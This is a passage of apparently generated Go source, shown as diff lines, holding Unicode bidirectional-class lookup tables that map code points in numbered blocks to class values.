0x0002, 0x32: 0x0002, 0x33: 0x0002, 0x34: 0x0002, 0x35: 0x0002, + 0x36: 0x0002, 0x37: 0x0002, 0x38: 0x0002, 0x39: 0x0002, 0x3a: 0x0006, 0x3b: 0x000a, + 0x3c: 0x000a, 0x3d: 0x000a, 0x3e: 0x000a, 0x3f: 0x000a, + // Block 0x1, offset 0x40 + 0x40: 0x000a, + 0x5b: 0x005a, 0x5c: 0x000a, 0x5d: 0x004a, + 0x5e: 0x000a, 0x5f: 0x000a, 0x60: 0x000a, + 0x7b: 0x005a, + 0x7c: 0x000a, 0x7d: 0x004a, 0x7e: 0x000a, 0x7f: 0x000b, + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc0: 0x000b, 0xc1: 0x000b, 0xc2: 0x000b, 0xc3: 0x000b, 0xc4: 0x000b, 0xc5: 0x0007, + 0xc6: 0x000b, 0xc7: 0x000b, 0xc8: 0x000b, 0xc9: 0x000b, 0xca: 0x000b, 0xcb: 0x000b, + 0xcc: 0x000b, 0xcd: 0x000b, 0xce: 0x000b, 0xcf: 0x000b, 0xd0: 0x000b, 0xd1: 0x000b, + 0xd2: 0x000b, 0xd3: 0x000b, 0xd4: 0x000b, 0xd5: 0x000b, 0xd6: 0x000b, 0xd7: 0x000b, + 0xd8: 0x000b, 0xd9: 0x000b, 0xda: 0x000b, 0xdb: 0x000b, 0xdc: 0x000b, 0xdd: 0x000b, + 0xde: 0x000b, 0xdf: 0x000b, 0xe0: 0x0006, 0xe1: 0x000a, 0xe2: 0x0004, 0xe3: 0x0004, + 0xe4: 0x0004, 0xe5: 0x0004, 0xe6: 0x000a, 0xe7: 0x000a, 0xe8: 0x000a, 0xe9: 0x000a, + 0xeb: 0x000a, 0xec: 0x000a, 0xed: 0x000b, 0xee: 0x000a, 0xef: 0x000a, + 0xf0: 0x0004, 0xf1: 0x0004, 0xf2: 0x0002, 0xf3: 0x0002, 0xf4: 0x000a, + 0xf6: 0x000a, 0xf7: 0x000a, 0xf8: 0x000a, 0xf9: 0x0002, 0xfb: 0x000a, + 0xfc: 0x000a, 0xfd: 0x000a, 0xfe: 0x000a, 0xff: 0x000a, + // Block 0x4, offset 0x100 + 0x117: 0x000a, + 0x137: 0x000a, + // Block 0x5, offset 0x140 + 0x179: 0x000a, 0x17a: 0x000a, + // Block 0x6, offset 0x180 + 0x182: 0x000a, 0x183: 0x000a, 0x184: 0x000a, 0x185: 0x000a, + 0x186: 0x000a, 0x187: 0x000a, 0x188: 0x000a, 0x189: 0x000a, 0x18a: 0x000a, 0x18b: 0x000a, + 0x18c: 0x000a, 0x18d: 0x000a, 0x18e: 0x000a, 0x18f: 0x000a, + 0x192: 0x000a, 0x193: 0x000a, 0x194: 0x000a, 0x195: 0x000a, 0x196: 0x000a, 0x197: 0x000a, + 0x198: 0x000a, 0x199: 0x000a, 0x19a: 0x000a, 0x19b: 0x000a, 0x19c: 0x000a, 0x19d: 0x000a, + 0x19e: 0x000a, 0x19f: 0x000a, + 0x1a5: 0x000a, 0x1a6: 0x000a, 0x1a7: 0x000a, 0x1a8: 0x000a, 0x1a9: 0x000a, + 0x1aa: 0x000a, 0x1ab: 0x000a, 0x1ac: 0x000a, 0x1ad: 0x000a, 0x1af: 0x000a, + 0x1b0: 0x000a, 0x1b1: 0x000a, 0x1b2: 0x000a, 0x1b3: 0x000a, 0x1b4: 0x000a, 0x1b5: 0x000a, + 0x1b6: 0x000a, 0x1b7: 0x000a, 0x1b8: 0x000a, 0x1b9: 0x000a, 0x1ba: 0x000a, 0x1bb: 0x000a, + 0x1bc: 0x000a, 0x1bd: 0x000a, 0x1be: 0x000a, 0x1bf: 0x000a, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x000c, 0x1c1: 0x000c, 0x1c2: 0x000c, 0x1c3: 0x000c, 0x1c4: 0x000c, 0x1c5: 0x000c, + 0x1c6: 0x000c, 0x1c7: 0x000c, 0x1c8: 0x000c, 0x1c9: 0x000c, 0x1ca: 0x000c, 0x1cb: 0x000c, + 0x1cc: 0x000c, 0x1cd: 0x000c, 0x1ce: 0x000c, 0x1cf: 0x000c, 0x1d0: 0x000c, 0x1d1: 0x000c, + 0x1d2: 0x000c, 0x1d3: 0x000c, 0x1d4: 0x000c, 0x1d5: 0x000c, 0x1d6: 0x000c, 0x1d7: 0x000c, + 0x1d8: 0x000c, 0x1d9: 0x000c, 0x1da: 0x000c, 0x1db: 0x000c, 0x1dc: 0x000c, 0x1dd: 0x000c, + 0x1de: 0x000c, 0x1df: 0x000c, 0x1e0: 0x000c, 0x1e1: 0x000c, 0x1e2: 0x000c, 0x1e3: 0x000c, + 0x1e4: 0x000c, 0x1e5: 0x000c, 0x1e6: 0x000c, 0x1e7: 0x000c, 0x1e8: 0x000c, 0x1e9: 0x000c, + 0x1ea: 0x000c, 0x1eb: 0x000c, 0x1ec: 0x000c, 0x1ed: 0x000c, 0x1ee: 0x000c, 0x1ef: 0x000c, + 0x1f0: 0x000c, 0x1f1: 0x000c, 0x1f2: 0x000c, 0x1f3: 0x000c, 0x1f4: 0x000c, 0x1f5: 0x000c, + 0x1f6: 0x000c, 0x1f7: 0x000c, 0x1f8: 0x000c, 0x1f9: 0x000c, 0x1fa: 0x000c, 0x1fb: 0x000c, + 0x1fc: 0x000c, 0x1fd: 0x000c, 0x1fe: 0x000c, 0x1ff: 0x000c, + // Block 0x8, offset 0x200 + 0x200: 0x000c, 0x201: 0x000c, 0x202: 0x000c, 0x203: 0x000c, 0x204: 0x000c, 0x205: 0x000c, + 0x206: 0x000c, 0x207: 0x000c, 0x208: 0x000c, 0x209: 0x000c, 0x20a: 0x000c, 0x20b: 0x000c, + 0x20c: 0x000c, 0x20d: 0x000c, 0x20e: 0x000c, 0x20f: 0x000c, 0x210: 0x000c, 0x211: 0x000c, + 0x212: 0x000c, 0x213: 0x000c, 0x214: 0x000c, 0x215: 0x000c, 0x216: 0x000c, 0x217: 0x000c, + 0x218: 0x000c, 0x219: 0x000c, 0x21a: 0x000c, 0x21b: 0x000c, 0x21c: 0x000c, 0x21d: 0x000c, + 0x21e: 0x000c, 0x21f: 0x000c, 0x220: 0x000c, 0x221: 0x000c, 0x222: 0x000c, 0x223: 0x000c, + 0x224: 0x000c, 0x225: 0x000c, 0x226: 0x000c, 0x227: 0x000c, 0x228: 0x000c, 0x229: 0x000c, + 0x22a: 0x000c, 0x22b: 0x000c, 0x22c: 0x000c, 0x22d: 0x000c, 0x22e: 0x000c, 0x22f: 0x000c, + 0x234: 0x000a, 0x235: 0x000a, + 0x23e: 0x000a, + // Block 0x9, offset 0x240 + 0x244: 0x000a, 0x245: 0x000a, + 0x247: 0x000a, + // Block 0xa, offset 0x280 + 0x2b6: 0x000a, + // Block 0xb, offset 0x2c0 + 0x2c3: 0x000c, 0x2c4: 0x000c, 0x2c5: 0x000c, + 0x2c6: 0x000c, 0x2c7: 0x000c, 0x2c8: 0x000c, 0x2c9: 0x000c, + // Block 0xc, offset 0x300 + 0x30a: 0x000a, + 0x30d: 0x000a, 0x30e: 0x000a, 0x30f: 0x0004, 0x310: 0x0001, 0x311: 0x000c, + 0x312: 0x000c, 0x313: 0x000c, 0x314: 0x000c, 0x315: 0x000c, 0x316: 0x000c, 0x317: 0x000c, + 0x318: 0x000c, 0x319: 0x000c, 0x31a: 0x000c, 0x31b: 0x000c, 0x31c: 0x000c, 0x31d: 0x000c, + 0x31e: 0x000c, 0x31f: 0x000c, 0x320: 0x000c, 0x321: 0x000c, 0x322: 0x000c, 0x323: 0x000c, + 0x324: 0x000c, 0x325: 0x000c, 0x326: 0x000c, 0x327: 0x000c, 0x328: 0x000c, 0x329: 0x000c, + 0x32a: 0x000c, 0x32b: 0x000c, 0x32c: 0x000c, 0x32d: 0x000c, 0x32e: 0x000c, 0x32f: 0x000c, + 0x330: 0x000c, 0x331: 0x000c, 0x332: 0x000c, 0x333: 0x000c, 0x334: 0x000c, 0x335: 0x000c, + 0x336: 0x000c, 0x337: 0x000c, 0x338: 0x000c, 0x339: 0x000c, 0x33a: 0x000c, 0x33b: 0x000c, + 0x33c: 0x000c, 0x33d: 0x000c, 0x33e: 0x0001, 0x33f: 0x000c, + // Block 0xd, offset 0x340 + 0x340: 0x0001, 0x341: 0x000c, 0x342: 0x000c, 0x343: 0x0001, 0x344: 0x000c, 0x345: 0x000c, + 0x346: 0x0001, 0x347: 0x000c, 0x348: 0x0001, 0x349: 0x0001, 0x34a: 0x0001, 0x34b: 0x0001, + 0x34c: 0x0001, 0x34d: 0x0001, 0x34e: 0x0001, 0x34f: 0x0001, 0x350: 0x0001, 0x351: 0x0001, + 0x352: 0x0001, 0x353: 0x0001, 0x354: 0x0001, 0x355: 0x0001, 0x356: 0x0001, 0x357: 0x0001, + 0x358: 0x0001, 0x359: 0x0001, 0x35a: 0x0001, 0x35b: 0x0001, 0x35c: 0x0001, 0x35d: 0x0001, + 0x35e: 0x0001, 0x35f: 0x0001, 0x360: 0x0001, 0x361: 0x0001, 0x362: 0x0001, 0x363: 0x0001, + 0x364: 0x0001, 0x365: 0x0001, 0x366: 0x0001, 0x367: 0x0001, 0x368: 0x0001, 0x369: 0x0001, + 0x36a: 0x0001, 0x36b: 0x0001, 0x36c: 0x0001, 0x36d: 0x0001, 0x36e: 0x0001, 0x36f: 0x0001, + 0x370: 0x0001, 0x371: 0x0001, 0x372: 0x0001, 0x373: 0x0001, 0x374: 0x0001, 0x375: 0x0001, + 0x376: 0x0001, 0x377: 0x0001, 0x378: 0x0001, 0x379: 0x0001, 0x37a: 0x0001, 0x37b: 0x0001, + 0x37c: 0x0001, 0x37d: 0x0001, 0x37e: 0x0001, 0x37f: 0x0001, + // Block 0xe, offset 0x380 + 0x380: 0x0005, 0x381: 0x0005, 0x382: 0x0005, 0x383: 0x0005, 0x384: 0x0005, 0x385: 0x0005, + 0x386: 0x000a, 0x387: 0x000a, 0x388: 0x000d, 0x389: 0x0004, 0x38a: 0x0004, 0x38b: 0x000d, + 0x38c: 0x0006, 0x38d: 0x000d, 0x38e: 0x000a, 0x38f: 0x000a, 0x390: 0x000c, 0x391: 0x000c, + 0x392: 0x000c, 0x393: 0x000c, 0x394: 0x000c, 0x395: 0x000c, 0x396: 0x000c, 0x397: 0x000c, + 0x398: 0x000c, 0x399: 0x000c, 0x39a: 0x000c, 0x39b: 0x000d, 0x39c: 0x000d, 0x39d: 0x000d, + 0x39e: 0x000d, 0x39f: 0x000d, 0x3a0: 0x000d, 0x3a1: 0x000d, 0x3a2: 0x000d, 0x3a3: 0x000d, + 0x3a4: 0x000d, 0x3a5: 0x000d, 0x3a6: 0x000d, 0x3a7: 0x000d, 0x3a8: 0x000d, 0x3a9: 0x000d, + 0x3aa: 0x000d, 0x3ab: 0x000d, 0x3ac: 0x000d, 0x3ad: 0x000d, 0x3ae: 0x000d, 0x3af: 0x000d, + 0x3b0: 0x000d, 0x3b1: 0x000d, 0x3b2: 0x000d, 0x3b3: 0x000d, 0x3b4: 0x000d, 0x3b5: 0x000d, + 0x3b6: 0x000d, 0x3b7: 0x000d, 0x3b8: 0x000d, 0x3b9: 0x000d, 0x3ba: 0x000d, 0x3bb: 0x000d, + 0x3bc: 0x000d, 0x3bd: 0x000d, 0x3be: 0x000d, 0x3bf: 0x000d, + // Block 0xf, offset 0x3c0 + 0x3c0: 0x000d, 0x3c1: 0x000d, 0x3c2: 0x000d, 0x3c3: 0x000d, 0x3c4: 0x000d, 0x3c5: 0x000d, + 0x3c6: 0x000d, 0x3c7: 0x000d, 0x3c8: 0x000d, 0x3c9: 0x000d, 0x3ca: 0x000d, 0x3cb: 0x000c, + 0x3cc: 0x000c, 0x3cd: 0x000c, 0x3ce: 0x000c, 0x3cf: 0x000c, 0x3d0: 0x000c, 0x3d1: 0x000c, + 0x3d2: 0x000c, 0x3d3: 0x000c, 0x3d4: 0x000c, 0x3d5: 0x000c, 0x3d6: 0x000c, 0x3d7: 0x000c, + 0x3d8: 0x000c, 0x3d9: 0x000c, 0x3da: 0x000c, 0x3db: 0x000c, 0x3dc: 0x000c, 0x3dd: 0x000c, + 0x3de: 0x000c, 0x3df: 0x000c, 0x3e0: 0x0005, 0x3e1: 0x0005, 0x3e2: 0x0005, 0x3e3: 0x0005, + 0x3e4: 0x0005, 0x3e5: 0x0005, 0x3e6: 0x0005, 0x3e7: 0x0005, 0x3e8: 0x0005, 0x3e9: 0x0005, + 0x3ea: 0x0004, 0x3eb: 0x0005, 0x3ec: 0x0005, 0x3ed: 0x000d, 0x3ee: 0x000d, 0x3ef: 0x000d, + 0x3f0: 0x000c, 0x3f1: 0x000d, 0x3f2: 0x000d, 0x3f3: 0x000d, 0x3f4: 0x000d, 0x3f5: 0x000d, + 0x3f6: 0x000d, 0x3f7: 0x000d, 0x3f8: 0x000d, 0x3f9: 0x000d, 0x3fa: 0x000d, 0x3fb: 0x000d, + 0x3fc: 0x000d, 0x3fd: 0x000d, 0x3fe: 0x000d, 0x3ff: 0x000d, + // Block 0x10, offset 0x400 + 0x400: 0x000d, 0x401: 0x000d, 0x402: 0x000d, 0x403: 0x000d, 0x404: 0x000d, 0x405: 0x000d, + 0x406: 0x000d, 0x407: 0x000d, 0x408: 0x000d, 0x409: 0x000d, 0x40a: 0x000d, 0x40b: 0x000d, + 0x40c: 0x000d, 0x40d: 0x000d, 0x40e: 0x000d, 0x40f: 0x000d, 0x410: 0x000d, 0x411: 0x000d, + 0x412: 0x000d, 0x413: 0x000d, 0x414: 0x000d, 0x415: 0x000d, 0x416: 0x000d, 0x417: 0x000d, + 0x418: 0x000d, 0x419: 0x000d, 0x41a: 0x000d, 0x41b: 0x000d, 0x41c: 0x000d, 0x41d: 0x000d, + 0x41e: 0x000d, 0x41f: 0x000d, 0x420: 0x000d, 0x421: 0x000d, 0x422: 0x000d, 0x423: 0x000d, + 0x424: 0x000d, 0x425: 0x000d, 0x426: 0x000d, 0x427: 0x000d, 0x428: 0x000d, 0x429: 0x000d, + 0x42a: 0x000d, 0x42b: 0x000d, 0x42c: 0x000d, 0x42d: 0x000d, 0x42e: 0x000d, 0x42f: 0x000d, + 0x430: 0x000d, 0x431: 0x000d, 0x432: 0x000d, 0x433: 0x000d, 0x434: 0x000d, 0x435: 0x000d, + 0x436: 0x000d, 0x437: 0x000d, 0x438: 0x000d, 0x439: 0x000d, 0x43a: 0x000d, 0x43b: 0x000d, + 0x43c: 0x000d, 0x43d: 0x000d, 0x43e: 0x000d, 0x43f: 0x000d, + // Block 0x11, offset 0x440 + 0x440: 0x000d, 0x441: 0x000d, 0x442: 0x000d, 0x443: 0x000d, 0x444: 0x000d, 0x445: 0x000d, + 0x446: 0x000d, 0x447: 0x000d, 0x448: 0x000d, 0x449: 0x000d, 0x44a: 0x000d, 0x44b: 0x000d, + 0x44c: 0x000d, 0x44d: 0x000d, 0x44e: 0x000d, 0x44f: 0x000d, 0x450: 0x000d, 0x451: 0x000d, + 0x452: 0x000d, 0x453: 0x000d, 0x454: 0x000d, 0x455: 0x000d, 0x456: 0x000c, 0x457: 0x000c, + 0x458: 0x000c, 0x459: 0x000c, 0x45a: 0x000c, 0x45b: 0x000c, 0x45c: 0x000c, 0x45d: 0x0005, + 0x45e: 0x000a, 0x45f: 0x000c, 0x460: 0x000c, 0x461: 0x000c, 0x462: 0x000c, 0x463: 0x000c, + 0x464: 0x000c, 0x465: 0x000d, 0x466: 0x000d, 0x467: 0x000c, 0x468: 0x000c, 0x469: 0x000a, + 0x46a: 0x000c, 0x46b: 0x000c, 0x46c: 0x000c, 0x46d: 0x000c, 0x46e: 0x000d, 0x46f: 0x000d, + 0x470: 0x0002, 0x471: 0x0002, 0x472: 0x0002, 0x473: 0x0002, 0x474: 0x0002, 0x475: 0x0002, + 0x476: 0x0002, 0x477: 0x0002, 0x478: 0x0002, 0x479: 0x0002, 0x47a: 0x000d, 0x47b: 0x000d, + 0x47c: 0x000d, 0x47d: 0x000d, 0x47e: 0x000d, 0x47f: 0x000d, + // Block 0x12, offset 0x480 + 0x480: 0x000d, 0x481: 0x000d, 0x482: 0x000d, 0x483: 0x000d, 0x484: 0x000d, 0x485: 0x000d, + 0x486: 0x000d, 0x487: 0x000d, 0x488: 0x000d, 0x489: 0x000d, 0x48a: 0x000d, 0x48b: 0x000d, + 0x48c: 0x000d, 0x48d: 0x000d, 0x48e: 0x000d, 0x48f: 0x000d, 0x490: 0x000d, 0x491: 0x000c, + 0x492: 0x000d, 0x493: 0x000d, 0x494: 0x000d, 0x495: 0x000d, 0x496: 0x000d, 0x497: 0x000d, + 0x498: 0x000d, 0x499: 0x000d, 0x49a: 0x000d, 0x49b: 0x000d, 0x49c: 0x000d, 0x49d: 0x000d, + 0x49e: 0x000d, 0x49f: 0x000d, 0x4a0: 0x000d, 0x4a1: 0x000d, 0x4a2: 0x000d, 0x4a3: 0x000d, + 0x4a4: 0x000d, 0x4a5: 0x000d, 0x4a6: 0x000d, 0x4a7: 0x000d, 0x4a8: 0x000d, 0x4a9: 0x000d, + 0x4aa: 0x000d, 0x4ab: 0x000d, 0x4ac: 0x000d, 0x4ad: 0x000d, 0x4ae: 0x000d, 0x4af: 0x000d, + 0x4b0: 0x000c, 0x4b1: 0x000c, 0x4b2: 0x000c, 0x4b3: 0x000c, 0x4b4: 0x000c, 0x4b5: 0x000c, + 0x4b6: 0x000c, 0x4b7: 0x000c, 0x4b8: 0x000c, 0x4b9: 0x000c, 0x4ba: 0x000c, 0x4bb: 0x000c, + 0x4bc: 0x000c, 0x4bd: 0x000c, 0x4be: 0x000c, 0x4bf: 0x000c, + // Block 0x13, offset 0x4c0 + 0x4c0: 0x000c, 0x4c1: 0x000c, 0x4c2: 0x000c, 0x4c3: 0x000c, 0x4c4: 0x000c, 0x4c5: 0x000c, + 0x4c6: 0x000c, 0x4c7: 0x000c, 0x4c8: 0x000c, 0x4c9: 0x000c, 0x4ca: 0x000c, 0x4cb: 0x000d, + 0x4cc: 0x000d, 0x4cd: 0x000d, 0x4ce: 0x000d, 0x4cf: 0x000d, 0x4d0: 0x000d, 0x4d1: 0x000d, + 0x4d2: 0x000d, 0x4d3: 0x000d, 0x4d4: 0x000d, 0x4d5: 0x000d, 0x4d6: 0x000d, 0x4d7: 0x000d, + 0x4d8: 0x000d, 0x4d9: 0x000d, 0x4da: 0x000d, 0x4db: 0x000d, 0x4dc: 0x000d, 0x4dd: 0x000d, + 0x4de: 0x000d, 0x4df: 0x000d, 0x4e0: 0x000d, 0x4e1: 0x000d, 0x4e2: 0x000d, 0x4e3: 0x000d, + 0x4e4: 0x000d, 0x4e5: 0x000d, 0x4e6: 0x000d, 0x4e7: 0x000d, 0x4e8: 0x000d, 0x4e9: 0x000d, + 0x4ea: 0x000d, 0x4eb: 0x000d, 0x4ec: 0x000d, 0x4ed: 0x000d, 0x4ee: 0x000d, 0x4ef: 0x000d, + 0x4f0: 0x000d, 0x4f1: 0x000d, 0x4f2: 0x000d, 0x4f3: 0x000d, 0x4f4: 0x000d, 0x4f5: 0x000d, + 0x4f6: 0x000d, 0x4f7: 0x000d, 0x4f8: 0x000d, 0x4f9: 0x000d, 0x4fa: 0x000d, 0x4fb: 0x000d, + 0x4fc: 0x000d, 0x4fd: 0x000d, 0x4fe: 0x000d, 0x4ff: 0x000d, + // Block 0x14, offset 0x500 + 0x500: 0x000d, 0x501: 0x000d, 0x502: 0x000d, 0x503: 0x000d, 0x504: 0x000d, 0x505: 0x000d, + 0x506: 0x000d, 0x507: 0x000d, 0x508: 0x000d, 0x509: 0x000d, 0x50a: 0x000d, 0x50b: 0x000d, + 0x50c: 0x000d, 0x50d: 0x000d, 0x50e: 0x000d, 0x50f: 0x000d, 0x510: 0x000d, 0x511: 0x000d, + 0x512: 0x000d, 0x513: 0x000d, 0x514: 0x000d, 0x515: 0x000d, 0x516: 0x000d, 0x517: 0x000d, + 0x518: 0x000d, 0x519: 0x000d, 0x51a: 0x000d, 0x51b: 0x000d, 0x51c: 0x000d, 0x51d: 0x000d, + 0x51e: 0x000d, 0x51f: 0x000d, 0x520: 0x000d, 0x521: 0x000d, 0x522: 0x000d, 0x523: 0x000d, + 0x524: 0x000d, 0x525: 0x000d, 0x526: 0x000c, 0x527: 0x000c, 0x528: 0x000c, 0x529: 0x000c, + 0x52a: 0x000c, 0x52b: 0x000c, 0x52c: 0x000c, 0x52d: 0x000c, 0x52e: 0x000c, 0x52f: 0x000c, + 0x530: 0x000c, 0x531: 0x000d, 0x532: 0x000d, 0x533: 0x000d, 0x534: 0x000d, 0x535: 0x000d, + 0x536: 0x000d, 0x537: 0x000d, 0x538: 0x000d, 0x539: 0x000d, 0x53a: 0x000d, 0x53b: 0x000d, + 0x53c: 0x000d, 0x53d: 0x000d, 0x53e: 0x000d, 0x53f: 0x000d, + // Block 0x15, offset 0x540 + 0x540: 0x0001, 0x541: 0x0001, 0x542: 0x0001, 0x543: 0x0001, 0x544: 0x0001, 0x545: 0x0001, + 0x546: 0x0001, 0x547: 0x0001, 0x548: 0x0001, 0x549: 0x0001, 0x54a: 0x0001, 0x54b: 0x0001, + 0x54c: 0x0001, 0x54d: 0x0001, 0x54e: 0x0001, 0x54f: 0x0001, 0x550: 0x0001, 0x551: 0x0001, + 0x552: 0x0001, 0x553: 0x0001, 0x554: 0x0001, 0x555: 0x0001, 0x556: 0x0001, 0x557: 0x0001, + 0x558: 0x0001, 0x559: 0x0001, 0x55a: 0x0001, 0x55b: 0x0001, 0x55c: 0x0001, 0x55d: 0x0001, + 0x55e: 0x0001, 0x55f: 0x0001, 0x560: 0x0001, 0x561: 0x0001, 0x562: 0x0001, 0x563: 0x0001, + 0x564: 0x0001, 0x565: 0x0001, 0x566: 0x0001, 0x567: 0x0001, 0x568: 0x0001, 0x569: 0x0001, + 0x56a: 0x0001, 0x56b: 0x000c, 0x56c: 0x000c, 0x56d: 0x000c, 0x56e: 0x000c, 0x56f: 0x000c, + 0x570: 0x000c, 0x571: 0x000c, 0x572: 0x000c, 0x573: 0x000c, 0x574: 0x0001, 0x575: 0x0001, + 0x576: 0x000a, 0x577: 0x000a, 0x578: 0x000a, 0x579: 0x000a, 0x57a: 0x0001, 0x57b: 0x0001, + 0x57c: 0x0001, 0x57d: 0x000c, 0x57e: 0x0001, 0x57f: 0x0001, + // Block 0x16, offset 0x580 + 0x580: 0x0001, 0x581: 0x0001, 0x582: 0x0001, 0x583: 0x0001, 0x584: 0x0001, 0x585: 0x0001, + 0x586: 0x0001, 0x587: 0x0001, 0x588: 0x0001, 0x589: 0x0001, 0x58a: 0x0001, 0x58b: 0x0001, + 0x58c: 0x0001, 0x58d: 0x0001, 0x58e: 0x0001, 0x58f: 0x0001, 0x590: 0x0001, 0x591: 0x0001, + 0x592: 0x0001, 0x593: 0x0001, 0x594: 0x0001, 0x595: 0x0001, 0x596: 0x000c, 0x597: 0x000c, + 0x598: 0x000c, 0x599: 0x000c, 0x59a: 0x0001, 0x59b: 0x000c, 0x59c: 0x000c, 0x59d: 0x000c, + 0x59e: 0x000c, 0x59f: 0x000c, 0x5a0: 0x000c, 0x5a1: 0x000c, 0x5a2: 0x000c, 0x5a3: 0x000c, + 0x5a4: 0x0001, 0x5a5: 0x000c, 0x5a6: 0x000c, 0x5a7: 0x000c, 0x5a8: 0x0001, 0x5a9: 0x000c, + 0x5aa: 0x000c, 0x5ab: 0x000c, 0x5ac: 0x000c, 0x5ad: 0x000c, 0x5ae: 0x0001, 0x5af: 0x0001, + 0x5b0: 0x0001, 0x5b1: 0x0001, 0x5b2: 0x0001, 0x5b3: 0x0001, 0x5b4: 0x0001, 0x5b5: 0x0001, + 0x5b6: 0x0001, 0x5b7: 0x0001, 0x5b8: 0x0001, 0x5b9: 0x0001, 0x5ba: 0x0001, 0x5bb: 0x0001, + 0x5bc: 0x0001, 0x5bd: 0x0001, 0x5be: 0x0001, 0x5bf: 0x0001, + // Block 0x17, offset 0x5c0 + 0x5c0: 0x0001, 0x5c1: 0x0001, 0x5c2: 0x0001, 0x5c3: 0x0001, 0x5c4: 0x0001, 0x5c5: 0x0001, + 0x5c6: 0x0001, 0x5c7: 0x0001, 0x5c8: 0x0001, 0x5c9: 0x0001, 0x5ca: 0x0001, 0x5cb: 0x0001, + 0x5cc: 0x0001, 0x5cd: 0x0001, 0x5ce: 0x0001, 0x5cf: 0x0001, 0x5d0: 0x0001, 0x5d1: 0x0001, + 0x5d2: 0x0001, 0x5d3: 0x0001, 0x5d4: 0x0001, 0x5d5: 0x0001, 0x5d6: 0x0001, 0x5d7: 0x0001, + 0x5d8: 0x0001, 0x5d9: 0x000c, 0x5da: 0x000c, 0x5db: 0x000c, 0x5dc: 0x0001, 0x5dd: 0x0001, + 0x5de: 0x0001, 0x5df: 0x0001, 0x5e0: 0x000d, 0x5e1: 0x000d, 0x5e2: 0x000d, 0x5e3: 0x000d, + 0x5e4: 0x000d, 0x5e5: 0x000d, 0x5e6: 0x000d, 0x5e7: 0x000d, 0x5e8: 0x000d, 0x5e9: 0x000d, + 0x5ea: 0x000d, 0x5eb: 0x0001, 0x5ec: 0x0001, 0x5ed: 0x0001, 0x5ee: 0x0001, 0x5ef: 0x0001, + 0x5f0: 0x000d, 0x5f1: 0x000d, 0x5f2: 0x000d, 0x5f3: 0x000d, 0x5f4: 0x000d, 0x5f5: 0x000d, + 0x5f6: 0x000d, 0x5f7: 0x000d, 0x5f8: 0x000d, 0x5f9: 0x000d, 0x5fa: 0x000d, 0x5fb: 0x000d, + 0x5fc: 0x000d, 0x5fd: 0x000d, 0x5fe: 0x000d, 0x5ff: 0x000d, + // Block 0x18, offset 0x600 + 0x600: 0x000d, 0x601: 0x000d, 0x602: 0x000d, 0x603: 0x000d, 0x604: 0x000d, 0x605: 0x000d, + 0x606: 0x000d, 0x607: 0x000d, 0x608: 0x000d, 0x609: 0x000d, 0x60a: 0x000d, 0x60b: 0x000d, + 0x60c: 0x000d, 0x60d: 0x000d, 0x60e: 0x000d, 0x60f: 0x0001, 0x610: 0x0005, 0x611: 0x0005, + 0x612: 0x0001, 0x613: 0x0001, 0x614: 0x0001, 0x615: 0x0001, 0x616: 0x0001, 0x617: 0x0001, + 0x618: 0x000c, 0x619: 0x000c, 0x61a: 0x000c, 0x61b: 0x000c, 0x61c: 0x000c, 0x61d: 0x000c, + 0x61e: 0x000c, 0x61f: 0x000c, 0x620: 0x000d, 0x621: 0x000d, 0x622: 0x000d, 0x623: 0x000d, + 0x624: 0x000d, 0x625: 0x000d, 0x626: 0x000d, 0x627: 0x000d, 0x628: 0x000d, 0x629: 0x000d, + 0x62a: 0x000d, 0x62b: 0x000d, 0x62c: 0x000d, 0x62d: 0x000d, 0x62e: 0x000d, 0x62f: 0x000d, + 0x630: 0x000d, 0x631: 0x000d, 0x632: 0x000d, 0x633: 0x000d, 0x634: 0x000d, 0x635: 0x000d, + 0x636: 0x000d, 0x637: 0x000d, 0x638: 0x000d, 0x639: 0x000d, 0x63a: 0x000d, 0x63b: 0x000d, + 0x63c: 0x000d, 0x63d: 0x000d, 0x63e: 0x000d, 0x63f: 0x000d, + // Block 0x19, offset 0x640 + 0x640: 0x000d, 0x641: 0x000d, 0x642: 0x000d, 0x643: 0x000d, 0x644: 0x000d, 0x645: 0x000d, + 0x646: 0x000d, 0x647: 0x000d, 0x648: 0x000d, 0x649: 0x000d, 0x64a: 0x000c, 0x64b: 0x000c, + 0x64c: 0x000c, 0x64d: 0x000c, 0x64e: 0x000c, 0x64f: 0x000c, 0x650: 0x000c, 0x651: 0x000c, + 0x652: 0x000c, 0x653: 0x000c, 0x654: 0x000c, 0x655: 0x000c, 0x656: 0x000c, 0x657: 0x000c, + 0x658: 0x000c, 0x659: 0x000c, 0x65a: 0x000c, 0x65b: 0x000c, 0x65c: 0x000c, 0x65d: 0x000c, + 0x65e: 0x000c, 0x65f: 0x000c, 0x660: 0x000c, 0x661: 0x000c, 0x662: 0x0005, 0x663: 0x000c, + 0x664: 0x000c, 0x665: 0x000c, 0x666: 0x000c, 0x667: 0x000c, 0x668: 0x000c, 0x669: 0x000c, + 0x66a: 0x000c, 0x66b: 0x000c, 0x66c: 0x000c, 0x66d: 0x000c, 0x66e: 0x000c, 0x66f: 0x000c, + 0x670: 0x000c, 0x671: 0x000c, 0x672: 0x000c, 0x673: 0x000c, 0x674: 0x000c, 0x675: 0x000c, + 0x676: 0x000c, 0x677: 0x000c, 0x678: 0x000c, 0x679: 0x000c, 0x67a: 0x000c, 0x67b: 0x000c, + 0x67c: 0x000c, 0x67d: 0x000c, 0x67e: 0x000c, 0x67f: 0x000c, + // Block 0x1a, offset 0x680 + 0x680: 0x000c, 0x681: 0x000c, 0x682: 0x000c, + 0x6ba: 0x000c, + 0x6bc: 0x000c, + // Block 0x1b, offset 0x6c0 + 0x6c1: 0x000c, 0x6c2: 0x000c, 0x6c3: 0x000c, 0x6c4: 0x000c, 0x6c5: 0x000c, + 0x6c6: 0x000c, 0x6c7: 0x000c, 0x6c8: 0x000c, + 0x6cd: 0x000c, 0x6d1: 0x000c, + 0x6d2: 0x000c, 0x6d3: 0x000c, 0x6d4: 0x000c, 0x6d5: 0x000c, 0x6d6: 0x000c, 0x6d7: 0x000c, + 0x6e2: 0x000c, 0x6e3: 0x000c, + // Block 0x1c, offset 0x700 + 0x701: 0x000c, + 0x73c: 0x000c, + // Block 0x1d, offset 0x740 + 0x741: 0x000c, 0x742: 0x000c, 0x743: 0x000c, 0x744: 0x000c, + 0x74d: 0x000c, + 0x762: 0x000c, 0x763: 0x000c, + 0x772: 0x0004, 0x773: 0x0004, + 0x77b: 0x0004, + 0x77e: 0x000c, + // Block 0x1e, offset 0x780 + 0x781: 0x000c, 0x782: 0x000c, + 0x7bc: 0x000c, + // Block 0x1f, offset 